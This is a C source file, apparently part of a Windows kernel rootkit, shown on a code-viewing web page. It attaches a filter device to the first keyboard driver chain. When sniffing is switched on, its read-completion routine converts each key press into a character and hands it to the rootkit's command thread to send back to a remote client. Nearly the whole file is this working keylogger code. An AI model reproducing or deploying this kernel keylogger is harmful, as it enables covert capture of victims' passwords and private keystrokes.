📄 rk_keyboard.c
字号:
#include "rk_driver.h"
#include "rk_keyboard.h"
#include "rk_command.h"
extern char g_command_signal[256]; //to send commands to the worker thread
extern KEVENT command_signal_event;
extern ULONG g_number_of_pending_IRPs;
/* we must make sure to pass all hooked requests onward... */
NTSTATUS cmdHookKeyboard(IN PDRIVER_OBJECT DriverObject){
CCHAR ntNameBuffer[64];
STRING ntNameString;
UNICODE_STRING ntUnicodeString;
NTSTATUS status;
DbgPrint("cmdHookKeyboard() called\n");
//
// Only hook onto the first keyboard's chain.
//
sprintf( ntNameBuffer, "\\Device\\KeyboardClass0" );
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &ntUnicodeString, &ntNameString, TRUE );
//
// Create device object for the keyboard.
//
status = IoCreateDevice( DriverObject,
0,
NULL,
FILE_DEVICE_KEYBOARD,
0,
FALSE,
&gKbdHookDevice );
if( !NT_SUCCESS(status) ) {
DbgPrint(("Ctrl2cap: Keyboard hook failed to create device!\n"));
RtlFreeUnicodeString( &ntUnicodeString );
return STATUS_SUCCESS;
}
//
// Keyboard uses buffered I/O so we must as well.
//
gKbdHookDevice->Flags |= DO_BUFFERED_IO;
//
// Attach to the keyboard chain.
//
status = IoAttachDevice( gKbdHookDevice, &ntUnicodeString, &gKbdTopOfStack );
if( !NT_SUCCESS(status) ) {
DbgPrint(("Ctrl2cap: Connect with keyboard failed!\n"));
IoDeleteDevice( gKbdHookDevice );
RtlFreeUnicodeString( &ntUnicodeString );
return STATUS_SUCCESS;
}
//
// Done! Just free our string and be on our way...
//
RtlFreeUnicodeString( &ntUnicodeString );
DbgPrint(("Ctrl2cap: Successfully connected to keyboard device\n"));
//
// This line simply demonstrates how a driver can print
// stuff to the bluescreen during system initialization.
//
//HalDisplayString( "Ctrl2cap Initialized\n" );
return STATUS_SUCCESS;
}
char scancodesL[] = "`-1234567890---\tqwertyuiop[]--asdfghjkl;'---zxcvbnm,./----- ---";
char scancodesU[] = "~-!@#$%^&*()---\tQWERTYUIOP{}--ASDFGHJKL:\"---ZXCVBNM<>?----- ---";
//----------------------------------------------------------------------
//
// OnReadComplete
//
// Gets control after a read operation has completed.
//
//----------------------------------------------------------------------
NTSTATUS OnKbdReadComplete( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp,
IN PVOID Context )
{
PIO_STACK_LOCATION IrpSp;
PKEYBOARD_INPUT_DATA KeyData;
int numKeys, i;
KIRQL aIrqL;
DbgPrint("OnKbdReadComplete called\n");
//
// Request completed - look at the result.
//
IrpSp = IoGetCurrentIrpStackLocation( Irp );
if( NT_SUCCESS( Irp->IoStatus.Status ) ) {
// just frobbing the MakeCode handles both the up-key
// and down-key cases since the up/down information is specified
// seperately in the Flags field of the keyboard input data
// (0 means key-down, 1 means key-up).
//
if(g_sniff_keys)
{
KeyData = Irp->AssociatedIrp.SystemBuffer;
if(KeyData)
{
numKeys = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for( i = 0; i < numKeys; i++ )
{
if(0 == KeyData[i].Flags) /* key down */
{
/////////////////////////////////////////////////
// since we are in a hook, we cannot just send
// a packet. Instead we must send a command
// to the rootkit command thread to 'echo'
// this character back to the client
/////////////////////////////////////////////////
if(KeyData[i].MakeCode<64)
{
char _t[255];
sprintf(_t, "echo %c", scancodesL[(KeyData[i].MakeCode)] );
//----[ spinlock ]-------------------------------
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
memset(g_command_signal, NULL, 255);
memcpy(g_command_signal, _t, 6);
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
//-----------------------------------------------
KeSetEvent(&command_signal_event, 1, FALSE);
}
}
}
}
}
}
if( Irp->PendingReturned ) {
IoMarkIrpPending( Irp );
}
g_number_of_pending_IRPs--;
return Irp->IoStatus.Status;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -